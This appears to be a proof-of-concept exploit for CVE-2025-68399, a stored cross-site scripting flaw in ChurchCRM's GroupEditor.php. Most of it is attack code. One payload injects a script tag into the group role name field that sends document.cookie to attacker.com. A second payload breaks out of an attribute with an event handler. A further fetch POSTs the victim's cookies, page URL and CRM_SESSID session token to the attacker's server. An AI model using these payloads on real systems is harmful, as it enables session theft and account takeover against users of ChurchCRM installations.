CVE-2025-68399 ChurchCRM GroupEditor.php存储型XSS漏洞

// CVE-2025-68399 PoC - ChurchCRM Stored XSS in GroupEditor.php // Author: Security Researcher // Target: ChurchCRM < 6.5.4 // Step 1: Authenticate with ChurchCRM using a low-privilege account with group management permissions // POST /session/login const loginPayload = { email: '[email protected]', password: 'password123' }; // Step 2: Navigate to GroupEditor.php and intercept the group role creation request // GET /GroupEditor.php?GroupID=<group_id> // Step 3: Inject malicious JavaScript in the group role name field // POST /GroupEditor.php const xssPayload = { GroupID: 1, Action: 'AddRole', // Stored XSS payload - will be executed when page is viewed RoleName: '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>', // Alternative payload - event handler RoleDescription: '" onmouseover="alert(document.domain)" x="' }; // Step 4: When other users visit GroupEditor.php, the XSS payload executes // The attacker's server receives the victim's cookies fetch('https://attacker.com/exploit', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ cookie: document.cookie, url: window.location.href, session: document.cookie.match(/CRM_SESSID=([^;]+)/)[1] }) });